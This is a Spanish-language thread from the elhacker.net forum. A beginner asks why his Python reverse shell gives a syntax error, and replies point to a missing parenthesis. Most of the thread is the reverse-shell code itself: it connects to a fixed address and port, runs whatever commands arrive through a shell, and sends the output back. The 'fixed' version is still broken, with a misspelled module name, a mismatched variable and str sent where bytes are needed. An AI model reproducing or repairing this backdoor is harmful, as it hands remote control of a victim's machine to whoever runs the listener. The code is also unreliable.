Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: 0x22 en 1 Enero 2022, 21:34 pm



Título: Error en python en while
Publicado por: 0x22 en 1 Enero 2022, 21:34 pm
Hola todos, estoy comenzando en el python y estoy aprendiendo a hacer una reverse shell
Lo que no entiendo es porque me da el siguiente error:   while True:
    ^
SyntaxError: invalid syntax


El codigo es:
import socket
import subprocces
def ejecutar_comando(command):
    return subprocces.check_output(command, shell=True)
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("192.168.100.47",4444))

connection.send("\n
  • Conexion establecida uwu\n"
while True:
   commando = connection.recv(1024)
   resueltados_command = ejecutar_comando(command)
   connection.send(resueltados_command)
connection.close





Lo estoy haciendo exactamente como en el video solo cambie el nombre de las variables pero no se porque me da ese error


Título: Re: Error en python en while
Publicado por: Xyzed en 1 Enero 2022, 23:28 pm
Hola.

El error está aquí:

Código
  1. -
  2. connection.send("\n [+] Conexion establecida uwu\n"
  3. #te falto cerrar el parentesis aca.
  4.  
  5. #solucion:
  6. import socket
  7. import subprocces
  8. def ejecutar_comando(command):
  9.    return subprocces.check_output(command, shell=True)
  10. connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  11. connection.connect(("192.168.100.47",4444))
  12.  
  13. connection.send("\n
  14. Conexion establecida uwu\n")
  15. while True:
  16.   commando = connection.recv(1024)
  17.   resueltados_command = ejecutar_comando(command)
  18.   connection.send(resueltados_command)
  19. connection.close
  20.  


Ya que mencionas que estás comenzando con Python, no es normal que al empezar estés usando sockets.
Supongo que simplemente copiaste y pegaste el código, sin entender nada de lo que haces, eso no te servirá en absolutamente nada, a menos que solo quieras molestar con la reverse shell...
 
Saludos.


Título: Re: Error en python en while
Publicado por: 0x22 en 2 Enero 2022, 10:42 am
Hola.

El error está aquí:

Código
  1. -
  2. connection.send("\n [+] Conexion establecida uwu\n"
  3. #te falto cerrar el parentesis aca.
  4.  
  5. #solucion:
  6. import socket
  7. import subprocces
  8. def ejecutar_comando(command):
  9.    return subprocces.check_output(command, shell=True)
  10. connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  11. connection.connect(("192.168.100.47",4444))
  12.  
  13. connection.send("\n
  14. Conexion establecida uwu\n")
  15. while True:
  16.   commando = connection.recv(1024)
  17.   resueltados_command = ejecutar_comando(command)
  18.   connection.send(resueltados_command)
  19. connection.close
  20.  


Ya que mencionas que estás comenzando con Python, no es normal que al empezar estés usando sockets.
Supongo que simplemente copiaste y pegaste el código, sin entender nada de lo que haces, eso no te servirá en absolutamente nada, a menos que solo quieras molestar con la reverse shell...
 
Saludos.
Hola, gracias por resolver el error no me había dado cuenta del ).
Y estoy empezando en python hacking, en python se mas o menos lo basico(clases, blucles, variables, funciones etc) para poder empezar en el python hacking.


Título: Re: Error en python en while
Publicado por: Danielㅤ en 2 Enero 2022, 16:38 pm
Hola, además de que el intérprete de Python te informa el tipo de error y la línea donde se encuentra el mismo, también el mismo software editor de códigos como por ejemplo Notepad++ te indica que falta cerrar un paréntesis porque después de ese paréntesis que no existe es decir dónde debería estar, el resto del código se pone todo de un solo color, es decir de color gris y ahí te podes dar cuenta fácilmente que faltó cerrar un paréntesis de alguna institución.


Saludos


Saludos